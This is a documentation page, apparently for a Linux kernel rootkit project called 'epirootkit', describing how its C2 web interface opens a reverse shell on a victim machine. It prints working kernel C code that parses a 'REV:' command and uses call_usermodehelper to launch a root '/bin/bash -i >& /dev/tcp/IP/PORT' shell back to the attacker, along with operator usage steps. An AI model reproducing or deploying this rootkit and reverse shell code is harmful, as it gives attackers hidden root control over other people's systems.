Skip to main content

The Reverse Shell

The Reverse Shell module allows the attacker to gain full interactive access (a Bash terminal) on the victim machine directly from the C2 Web interface. Unlike standard stateless command execution, the reverse shell keeps the session open, allowing folder navigation (via cd) or the use of interactive tools.


How to use it?

  1. Triggering: In the command bar of your C2 Web interface, simply type the following command:
    revshell
  2. Interaction: The C2 automatically switches to interactive mode. You will see the victim's Bash prompt appear (e.g., root@victim:/#). From this point on, all your commands are sent directly to the remote Bash process.
  3. Closing: To exit the reverse shell and hand control back to the C2 router (to use features like downloading), simply type:
    exit

:::info Good to know When the Reverse Shell is active, commands are no longer encrypted with our algorithm (Rot64) because they communicate directly with the victim's standard /bin/bash process. :::


Under the hood: Architecture

The Reverse Shell operates through close collaboration between the C2's network infrastructure and the execution capabilities of the Kernel Space. The architecture uses a second TCP port (4243) dedicated to the raw terminal stream.

1. The Node.js Server (Network bridge)

The C2 launches a second background TCP server that listens specifically on port 4243.

When the user types revshell in the interface, the Node.js server intercepts this keyword and sends the protocol tag REV:4243 to the rootkit (encrypted via port 4242). As soon as the incoming Bash connection hits port 4243, the C2 locks the routing: all new commands typed in the WebUI are diverted to this new socket in plaintext.

2. Kernel Interception (Dispatcher)

In the kernel module (connection.c), the main network loop reads the encrypted packet, decrypts it, and parses the header (the Tag). If it detects REV:, it extracts the target port and calls the shell creation function.

module-creation/utils/connection.c
// --- REVERSE SHELL INTERCEPTION ---
if (strncmp(recv_buf, "REV:", 4) == 0) {
char *port_str = recv_buf + 4; // Extracts "4243"
pr_info("epirootkit: Reverse Shell request on port %s !\n", port_str);

spawn_reverse_shell(ip, port_str);
send_network_message(sock, "[+] Reverse Shell sent! Go catch it.\n");
}

3. System execution (Kernel-to-User escape)

This is where the spawn_reverse_shell() function (defined in exec.c) comes into play. To launch a user-space process (/bin/bash) from kernel space, we use the call_usermodehelper API.

The kernel builds the classic reverse bash shell payload (/bin/bash -i >& /dev/tcp/IP/PORT 0>&1) and asks the system to execute it with root privileges.

module-creation/utils/exec.c
int spawn_reverse_shell(char *attacker_ip, char *attacker_port)
{
char *envp[] = { "PATH=/sbin:/bin:/usr/sbin:/usr/bin", "HOME=/root", "USER=root", NULL };
char *argv[] = {"/bin/bash", "-c", NULL, NULL};
char *cmd = kmalloc(1024, GFP_KERNEL);

// Preparing the network redirection via /dev/tcp
snprintf(cmd, 1024, "/bin/bash -i >& /dev/tcp/%s/%s 0>&1", attacker_ip, attacker_port);
argv[2] = cmd;

// Launching the asynchronous process from the kernel
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

kfree(cmd);
return 0;
}

Thanks to the UMH_WAIT_EXEC flag, the kernel does not wait for the process to finish (otherwise the rootkit would freeze completely). It launches the shell in the background, allowing the C2 to continue communicating on the original port!